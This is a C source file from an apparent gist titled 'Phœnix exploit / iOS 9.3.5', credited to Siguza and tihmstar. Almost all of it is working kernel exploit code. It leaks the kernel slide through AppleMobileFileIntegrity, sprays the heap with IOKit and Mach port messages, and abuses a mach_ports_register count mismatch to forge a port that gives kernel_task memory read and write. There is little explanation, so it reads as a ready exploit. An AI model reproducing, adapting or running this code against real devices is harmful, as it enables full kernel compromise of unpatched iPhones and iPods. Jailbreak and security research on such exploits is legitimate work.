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Siguza/phoenix.c

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Phœnix exploit / iOS 9.3.5
Raw
phoenix.c
// Bugs by NSO Group / Ian Beer.
// Exploit by Siguza & tihmstar.
// Thanks also to Max Bazaliy.
#include <stdint.h> // uint32_t, uint64_t
#include <stdio.h> // fprintf, stderr
#include <string.h> // memcpy, memset, strncmp
#include <unistd.h> // getpid
#include <mach/mach.h>
#include <stdlib.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
#include <assert.h>
#include <sched.h>
/*#include "nexploit.h"
#include "offsetfinder.h"
#include "thread.h"*/
kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs);
void suspend_all_threads() {
thread_act_t other_thread, current_thread;
unsigned int thread_count;
thread_act_array_t thread_list;
current_thread = mach_thread_self();
int result = task_threads(mach_task_self(), &thread_list, &thread_count);
if (result == -1) {
exit(1);
}
if (!result && thread_count) {
for (unsigned int i = 0; i < thread_count; ++i) {
other_thread = thread_list[i];
if (other_thread != current_thread) {
int kr = thread_suspend(other_thread);
if (kr != KERN_SUCCESS) {
mach_error("thread_suspend:", kr);
exit(1);
}
}
}
}
}
void resume_all_threads() {
thread_act_t other_thread, current_thread;
unsigned int thread_count;
thread_act_array_t thread_list;
current_thread = mach_thread_self();
int result = task_threads(mach_task_self(), &thread_list, &thread_count);
if (result == -1) {
exit(1);
}
if (!result && thread_count) {
for (unsigned int i = 0; i < thread_count; ++i) {
other_thread = thread_list[i];
if (other_thread != current_thread) {
int kr = thread_resume(other_thread);
if (kr != KERN_SUCCESS) {
mach_error("thread_suspend:", kr);
exit(1);
}
}
}
}
}
uint32_t find_kerneltask(){
// A5:
return 0x8041200c;
// A6:
// return 0x8041a00c;
}
uint32_t find_ipcspacekernel(){
// A5:
return 0x80456664;
// A6:
// return 0x8045e798;
}
#define SIZEOF_BYTES_MSG 384
enum
{
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollection = 0x80000000U,
kOSSerializeMagic = 0x000000d3U,
};
uintptr_t kslide = 0;
mach_port_t fakeportData;
#define MIG_MAX 0x1000
#define PUSH(v) \
do \
{ \
if(idx >= MIG_MAX / sizeof(uint32_t)) \
{ \
return KERN_NO_SPACE; \
} \
dict[idx] = (v); \
++idx; \
} while(0)
/*** XXX ***/
// TODO: rework this to a lookup table/registry
////#define KERNEL_TASK 0x8041200c //iPod5,1
//#define KERNEL_TASK 0x8041a00c //iPhone5,2 9.3.3
//
//// easiest to grab in convert_task_suspension_token_to_port
////#define IPC_SPACE_KERNEL 0x80456664 //iPod5,1
//#define IPC_SPACE_KERNEL 0x8045e798 //iPhone5,2 9.3.3
#define TASK_BSDINFO_OFFSET 0x200
#define BSDINFO_PID_OFFSET 0x8
/*** XXX ***/
static kern_return_t spray_data(const void *mem, size_t size, size_t num, mach_port_t *port)
{
kern_return_t err, ret;
static io_master_t master = MACH_PORT_NULL;
if(master == MACH_PORT_NULL)
{
ret = host_get_io_master(mach_host_self(), &master);
if(ret != KERN_SUCCESS)
{
return ret;
}
}
if(size > SIZEOF_BYTES_MSG)
{
return KERN_NO_SPACE;
}
uint32_t dict[MIG_MAX / sizeof(uint32_t)] = { 0 };
size_t idx = 0;
PUSH(kOSSerializeMagic);
PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
PUSH(kOSSerializeSymbol | 4);
PUSH(0x0079656b); // "key"
PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);
for(size_t i = 0; i < num; ++i)
{
PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG);
if(mem && size)
{
memcpy(&dict[idx], mem, size);
}
memset((char*)&dict[idx] + size, 0, SIZEOF_BYTES_MSG - size);
idx += SIZEOF_BYTES_MSG / 4;
}
ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, idx * sizeof(uint32_t), MACH_PORT_NULL, NULL, 0, &err, port);
if(ret == KERN_SUCCESS)
{
ret = err;
}
return ret;
}
#define msgh_request_port msgh_remote_port
#define msgh_reply_port msgh_local_port
static kern_return_t r3gister(task_t task, mach_port_array_t init_port_set, mach_msg_type_number_t real_count, mach_msg_type_number_t fake_count)
{
#pragma pack(4)
typedef struct {
mach_msg_header_t Head;
mach_msg_body_t msgh_body;
mach_msg_ool_ports_descriptor_t init_port_set;
NDR_record_t NDR;
mach_msg_type_number_t init_port_setCnt;
} Request;
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_trailer_t trailer;
} Reply;
#pragma pack()
union {
Request In;
Reply Out;
} Mess;
Request *InP = &Mess.In;
Reply *OutP = &Mess.Out;
InP->msgh_body.msgh_descriptor_count = 1;
InP->init_port_set.address = (void*)(init_port_set);
InP->init_port_set.count = real_count;
InP->init_port_set.disposition = 19;
InP->init_port_set.deallocate = FALSE;
InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
InP->NDR = NDR_record;
InP->init_port_setCnt = fake_count; // was real_count
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
InP->Head.msgh_request_port = task;
InP->Head.msgh_reply_port = mig_get_reply_port();
InP->Head.msgh_id = 3403;
kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if(ret == KERN_SUCCESS)
{
ret = OutP->RetCode;
}
return ret;
}
#if 0
static kern_return_t io_registry_entry_get_property_bytes(mach_port_t registry_entry, io_name_t property_name, io_struct_inband_t data, mach_msg_type_number_t *dataCnt)
{
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */
mach_msg_type_number_t property_nameCnt;
char property_name[128];
mach_msg_type_number_t dataCnt;
} Request __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t dataCnt;
char data[4096];
mach_msg_trailer_t trailer;
} Reply __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t dataCnt;
char data[4096];
} __Reply __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
/*
* typedef struct {
* mach_msg_header_t Head;
* NDR_record_t NDR;
* kern_return_t RetCode;
* } mig_reply_error_t;
*/
union {
Request In;
Reply Out;
} Mess;
Request *InP = &Mess.In;
Reply *Out0P = &Mess.Out;
mach_msg_return_t msg_result;
unsigned int msgh_size;
unsigned int msgh_size_delta;
#ifdef __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined
kern_return_t check_result;
#endif /* __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined */
__DeclareSendRpc(2812, "io_registry_entry_get_property_bytes")
InP->NDR = NDR_record;
#ifdef USING_MIG_STRNCPY_ZEROFILL
if (mig_strncpy_zerofill != NULL) {
InP->property_nameCnt = mig_strncpy_zerofill(InP->property_name, property_name, 128);
} else {
#endif /* USING_MIG_STRNCPY_ZEROFILL */
InP->property_nameCnt = mig_strncpy(InP->property_name, property_name, 128);
#ifdef USING_MIG_STRNCPY_ZEROFILL
}
#endif /* USING_MIG_STRNCPY_ZEROFILL */
msgh_size_delta = _WALIGN_(InP->property_nameCnt);
msgh_size = (mach_msg_size_t)(sizeof(Request) - 128) + msgh_size_delta;
InP = (Request *) ((pointer_t) InP + msgh_size_delta - 128);
if (*dataCnt < 4096)
InP->dataCnt = *dataCnt;
else
InP->dataCnt = 4096;
InP = &Mess.In;
InP->Head.msgh_bits =
MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
/* msgh_size passed as argument */
InP->Head.msgh_request_port = registry_entry;
InP->Head.msgh_reply_port = mig_get_reply_port();
InP->Head.msgh_id = 2812;
InP->Head.msgh_reserved = 0;
/* BEGIN VOUCHER CODE */
#ifdef USING_VOUCHERS
if (voucher_mach_msg_set != NULL) {
voucher_mach_msg_set(&InP->Head);
}
#endif // USING_VOUCHERS
/* END VOUCHER CODE */
__BeforeSendRpc(2812, "io_registry_entry_get_property_bytes")
msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
__AfterSendRpc(2812, "io_registry_entry_get_property_bytes")
if (msg_result != MACH_MSG_SUCCESS) {
__MachMsgErrorWithoutTimeout(msg_result);
{ return msg_result; }
}
#if defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined)
check_result = __MIG_check__Reply__io_registry_entry_get_property_bytes_t((__Reply__io_registry_entry_get_property_bytes_t *)Out0P);
if (check_result != MACH_MSG_SUCCESS)
{ return check_result; }
#endif /* defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined) */
if (Out0P->dataCnt > *dataCnt) {
(void)memcpy((char *) data, (const char *) Out0P->data, *dataCnt);
*dataCnt = Out0P->dataCnt;
{ return MIG_ARRAY_TOO_LARGE; }
}
(void)memcpy((char *) data, (const char *) Out0P->data, Out0P->dataCnt);
*dataCnt = Out0P->dataCnt;
return KERN_SUCCESS;
}
#endif
typedef struct __attribute__((__packed__)) {
uint32_t ip_bits;
uint32_t ip_references;
struct __attribute__((__packed__)) {
uint32_t data;
uint32_t pad;
uint32_t type;
} ip_lock;
struct __attribute__((__packed__)) {
struct __attribute__((__packed__)) {
struct __attribute__((__packed__)) {
uint32_t flags;
uintptr_t waitq_interlock;
uint64_t waitq_set_id;
uint64_t waitq_prepost_id;
struct __attribute__((__packed__)) {
uintptr_t next;
uintptr_t prev;
} waitq_queue;
} waitq;
uintptr_t messages;
natural_t seqno;
natural_t receiver_name;
uint16_t msgcount;
uint16_t qlimit;
} port;
uintptr_t imq_klist;
} ip_messages;
natural_t ip_flags;
uintptr_t ip_receiver;
uintptr_t ip_kobject;
uintptr_t ip_nsrequest;
uintptr_t ip_pdrequest;
uintptr_t ip_requests;
uintptr_t ip_premsg;
uint64_t ip_context;
natural_t ip_mscount;
natural_t ip_srights;
natural_t ip_sorights;
} kport_t;
#define LOG(str, args...) \
do \
{ \
fprintf(stderr, str " [%u]\n", ##args, __LINE__); \
} while(0)
#define OUT_LABEL(label, code...) \
do \
{ \
ret = (code); \
if(ret != KERN_SUCCESS) \
{ \
LOG(#code ": %s (%u)", mach_error_string(ret), ret); \
goto label; \
} \
} while(0)
#define OUT(code...) OUT_LABEL(out, ##code)
uint32_t copyinPort(kport_t *kport, int cnt){
kern_return_t err, ret;
task_t self = mach_task_self();
io_service_t service = MACH_PORT_NULL;
io_connect_t client = MACH_PORT_NULL;
io_iterator_t it = MACH_PORT_NULL;
io_object_t o = MACH_PORT_NULL;
mach_port_t data;
OUT(spray_data(NULL, 0, 5, &data));
service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileFileIntegrity"));
if(!MACH_PORT_VALID(service))
{
LOG("Invalid service");
goto out;
}
char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
kport_t *kpbuf = (kport_t*)(tst+4);
for (int i=0; i<cnt; i++) {
kpbuf[i] = kport[i];
}
const char xml[] = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
OUT(io_service_open_extended(service, self, 0, NDR_record, (char*)xml, sizeof(xml), &err, &client));
OUT(IORegistryEntryGetChildIterator(service, "IOService", &it));
bool found = false;
while((o = IOIteratorNext(it)) != MACH_PORT_NULL && !found)
{
uintptr_t buf[16];
uint32_t size = (uint32_t)sizeof(buf);
ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", (char*)buf, &size);
if(ret == KERN_SUCCESS)
{
mach_port_deallocate(self, data);
data = MACH_PORT_NULL;
//OUT(spray_data(&kport, sizeof(kport), 16, &data));
OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
kslide = ((buf[9] & 0xFFF00000) + 0x1000) -0x80001000;
return (uint32_t)buf[4] - 0x78;
/* BREAKPOINT HERE */
found = true;
}
IOObjectRelease(o);
o = MACH_PORT_NULL;
}
out:;
if(it != MACH_PORT_NULL)
{
IOObjectRelease(it);
it = MACH_PORT_NULL;
}
if(client != MACH_PORT_NULL)
{
IOObjectRelease(client);
client = MACH_PORT_NULL;
}
if(service != MACH_PORT_NULL)
{
IOObjectRelease(service);
service = MACH_PORT_NULL;
}
if(data != MACH_PORT_NULL)
{
mach_port_deallocate(self, data);
data = MACH_PORT_NULL;
}
return 0;
}
#pragma pack(4)
typedef struct {
mach_msg_header_t Head;
mach_msg_body_t msgh_body;
mach_msg_ool_ports_descriptor_t init_port_set[];
} Request;
#pragma pack()
void release_port_ptrs(mach_port_t port){
char req[sizeof(Request) + 5 * sizeof(mach_msg_ool_ports_descriptor_t) + sizeof(mach_msg_trailer_t)];
if (mach_msg((mach_msg_header_t*)req, MACH_RCV_MSG, 0, sizeof(req), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL) != KERN_SUCCESS)
printf("[!] Error mach_recv\n");
}
mach_port_t kp = 0;
mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) {
if (!kp) {
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp);
mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND);
}
mach_port_t mp = 0;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp);
mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND);
assert(0 == send_ports(mp, kp, 2, number_port_descs));
return mp;
}
kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs)
{
mach_port_t init_port_set[num];
for(size_t i = 0; i < num; ++i)
{
init_port_set[i] = payload;
}
typedef struct {
mach_msg_header_t Head;
mach_msg_body_t msgh_body;
mach_msg_ool_ports_descriptor_t init_port_set[0];
} Request;
char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)];
Request *InP = (Request*)buf;
InP->msgh_body.msgh_descriptor_count = number_port_descs;
for (int i = 0; i < number_port_descs; i++) {
InP->init_port_set[i].address = (void *)(init_port_set);
InP->init_port_set[i].count = num;
InP->init_port_set[i].disposition = 19;
InP->init_port_set[i].deallocate = FALSE;
InP->init_port_set[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
}
InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
/* msgh_size passed as argument */
InP->Head.msgh_request_port = target;
InP->Head.msgh_reply_port = 0;
InP->Head.msgh_id = 1337;
return mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
}
uint32_t spray_data2(char *data, size_t datasize, unsigned count)
{
kern_return_t kr = 0, err = 0;
mach_port_t master = MACH_PORT_NULL;
io_service_t serv = 0;
io_connect_t conn = 0;
char dict[4096+512];
uint32_t idx = 0; // index into our data
#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)
WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning
WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 1)); // dictionary with two entries
WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte
WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian
WRITE_IN(dict, (kOSSerializeArray | kOSSerializeEndCollection | count)); // key with symbol, 3 chars + NUL byte
for (int i=0; i<count; i++) {
WRITE_IN(dict, ((i == count-1 ? kOSSerializeEndCollection : 0) | kOSSerializeData | datasize)); // key with symbol, 3 chars + NUL byte
memcpy((char*)dict+idx, data, datasize);
idx += datasize;
}
host_get_io_master(mach_host_self(), &master); // get iokit master port
serv = IOServiceGetMatchingService(master, IOServiceMatching("AppleMobileFileIntegrity"));
kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
if (kr != KERN_SUCCESS)
return printf("failed to spawn UC\n"),-1;
return 0;
}
static kern_return_t prepare_ptr(uint32_t *dict, size_t *size, uintptr_t ptr, size_t num)
{
size_t idx = 0;
PUSH(kOSSerializeMagic);
PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
PUSH(kOSSerializeSymbol | 4);
PUSH(0x0079656b); // "key"
PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);
for(size_t i = 0; i < num; ++i)
{
PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8);
PUSH(ptr);
PUSH(ptr);
}
*size = idx * sizeof(uint32_t);
return KERN_SUCCESS;
}
static kern_return_t spray(const void *dict, size_t size, mach_port_t *port)
{
kern_return_t err, ret;
static io_master_t master = MACH_PORT_NULL;
if(master == MACH_PORT_NULL)
{
ret = host_get_io_master(mach_host_self(), &master);
if(ret != KERN_SUCCESS)
{
return ret;
}
}
ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, (uint32_t)size, MACH_PORT_NULL, NULL, 0, &err, port);
if(ret == KERN_SUCCESS)
{
ret = err;
}
return ret;
}
static mach_port_t sanity_port = MACH_PORT_NULL;
static uintptr_t kernel_task_addr = 0;
task_t get_kernel_task(void){
kern_return_t ret;
OUT(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sanity_port));
OUT(mach_port_insert_right(mach_task_self(), sanity_port, sanity_port, MACH_MSG_TYPE_MAKE_SEND));
mach_port_limits_t limits = { .mpl_qlimit = 1000 };
OUT(mach_port_set_attributes(mach_task_self(), sanity_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));
suspend_all_threads();
printf("starting exploit\n");
char data[16];
kport_t kport[2] = {};
uintptr_t *ptr = (uintptr_t*)(kport + 1);
kport->ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
kport->ip_references = 100;
kport->ip_lock.type = 0x11;
kport->ip_messages.port.qlimit = 777;
kport->ip_receiver = 0x12345678; // dummy
kport->ip_srights = 99;
void *big_buf = malloc(MIG_MAX),
*small_buf = malloc(MIG_MAX);
size_t big_size = 0,
small_size = 0;
#define PORTS_NUM 1024
#define PORTS_NUM_PRESPRAY 100
mach_port_t fp[PORTS_NUM];
mach_port_t postSpray;
usleep(10000);
sched_yield();
uint32_t kptr = copyinPort(kport,2);
printf("0x%08x\n",kptr);
*(uint32_t*)(data) = kptr;
*(uint32_t*)(data+4) = kptr;
OUT(prepare_ptr(big_buf, &big_size, kptr, 256));
OUT(prepare_ptr(small_buf, &small_size, kptr, 32));
again:
sched_yield();
// for (int i=0; i<PORTS_NUM_PRESPRAY; i++) {
// spray_ports(1024);
// }
// spray_data2(data, 8, 256);
// spray_data2(data, 8, 256);
// spray_data2(data, 8, 256);
// spray_data2(data, 8, 256);
// spray_data2(data, 8, 256);
// spray_data2(data, 8, 256);
for(size_t i = 0; i < PORTS_NUM_PRESPRAY; ++i){
mach_port_t dummy;
spray(big_buf, big_size, &dummy);
}
sched_yield();
for (int i = 0; i < PORTS_NUM; i++) {
fp[i] = spray_ports(1);
mach_port_t dummy;
spray(small_buf, small_size, &dummy);
// spray_data2(data, 8, 32);
}
sched_yield();
for (int i = 0; i < PORTS_NUM; i++) {
release_port_ptrs(fp[i]);
}
mach_port_t arr[2] = {MACH_PORT_NULL,MACH_PORT_NULL};
r3gister(mach_task_self(),arr,2,3);
printf("r3gister done\n");
mach_port_t *arrz=0;
mach_msg_type_number_t sz = 3;
mach_ports_lookup(mach_task_self(), &arrz, &sz);
printf("done %x %x %x %x\n", arrz[0], arrz[1], arrz[2], kp);
mach_port_t fake_port = arrz[2];
if(!MACH_PORT_VALID(fake_port))
{
printf("Exploit failed, retrying...\n");
goto again;
}
kport[0].ip_kobject = kptr + sizeof(*kport) - TASK_BSDINFO_OFFSET;
*ptr = find_kerneltask() + kslide - BSDINFO_PID_OFFSET;
char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
kport_t *kpbuf = (kport_t*)(tst+4);
for (int i=0; i<2; i++) {
kpbuf[i] = kport[i];
}
usleep(10000);
sched_yield();
mach_port_destroy(mach_task_self(), fakeportData);
OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
printf("done realloc\n");
OUT(pid_for_task(fake_port, (int*)&kernel_task_addr));
LOG("kernel_task address: 0x%08lx", kernel_task_addr);
*ptr = find_ipcspacekernel() + kslide - BSDINFO_PID_OFFSET;
memset(tst, 0x44, sizeof(tst));
for (int i=0; i<2; i++) {
kpbuf[i] = kport[i];
}
usleep(10000);
sched_yield();
mach_port_destroy(mach_task_self(), fakeportData);
OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
printf("done realloc2\n");
uintptr_t ipc_space_kernel_addr = 0;
OUT(pid_for_task(fake_port, (int*)&ipc_space_kernel_addr));
LOG("ipc_space_kernel address: 0x%08lx", ipc_space_kernel_addr);
if (ipc_space_kernel_addr == kernel_task_addr) {
printf("Error: failed to leak pointers\n");
goto out;
}
kport->ip_receiver = ipc_space_kernel_addr;
kport->ip_kobject = kernel_task_addr;
memset(tst, 0x45, sizeof(tst));
for (int i=0; i<2; i++) {
kpbuf[i] = kport[i];
}
OUT(spray_data(tst, sizeof(tst), 10, &postSpray));
mach_port_destroy(mach_task_self(), postSpray);
printf("done postspray\n");
usleep(10000);
sched_yield();
mach_port_destroy(mach_task_self(), fakeportData);
OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
printf("done realloc3\n");
resume_all_threads();
return fake_port;
out:
if(MACH_PORT_VALID(fake_port))
{
ret = send_ports(sanity_port, fake_port, 1, 1);
if(ret == KERN_SUCCESS)
{
fake_port = MACH_PORT_NULL;
printf("Exploit failed, retrying...\n");
goto again;
}
printf("send_ports(): %s\n", mach_error_string(ret));
}
printf("Error: exploit failed :(\n");
return MACH_PORT_NULL;
}
uintptr_t kbase(){
return 0x80001000 + kslide;
}
#if 0
void exploit(){
mach_port_t taskHacked = get_kernel_task();
uintptr_t kbase = 0x80001000 + kslide;
printf("got kerneltask!\n");
printf("kbase=%p\n",(void*)kbase);
char kdata[0x100];
memset(kdata, 0, 0x100);
vm_size_t bytesRead=0x100;
kern_return_t kr=vm_read_overwrite(taskHacked, kbase, bytesRead, (vm_address_t)kdata, &bytesRead);
printf("vm_read_overwrite=0x%08x\n",kr);
printf("DONE!!!\n");
}
#endif
void exploit_cleanup(task_t kernel_task)
{
kern_return_t ret;
mach_port_t self = mach_task_self();
OUT(r3gister(kernel_task, &self, 1, 1));
vm_address_t portaddr = 0;
vm_size_t sz = sizeof(portaddr);
OUT(vm_read_overwrite(kernel_task, kernel_task_addr+0x1ac, sz, (vm_address_t)&portaddr, &sz));
vm_address_t mytaskaddr = 0;
vm_size_t size = sizeof(mytaskaddr);
OUT(vm_read_overwrite(kernel_task, portaddr+__builtin_offsetof(kport_t, ip_kobject), size, (vm_address_t)&mytaskaddr, &size));
printf("mytaskaddr = 0x%08x\n", mytaskaddr);
mach_port_t none = 0;
OUT(r3gister(mach_task_self(), &none, 1, 1));
#pragma pack(4)
typedef struct {
mach_msg_header_t Head;
mach_msg_body_t msgh_body;
mach_msg_ool_ports_descriptor_t init_port_set[1];
mach_msg_trailer_t trailer;
} Reply;
#pragma pack()
Reply reply;
while(1)
{
ret = mach_msg(&reply.Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(reply), sanity_port, 0, MACH_PORT_NULL);
if(ret != KERN_SUCCESS)
{
printf("cleanup done\n");
break;
}
mach_port_t *port = reply.init_port_set[0].address;
printf("Unregistering port %x...\n", *port);
mach_port_t arr[3] = { MACH_PORT_NULL, MACH_PORT_NULL, *port };
OUT(r3gister(mach_task_self(), arr, 3, 3));
uintptr_t zero = 0;
OUT(vm_write(kernel_task, mytaskaddr + 0x1b4, (vm_offset_t)&zero, sizeof(zero)));
}
out:;
}
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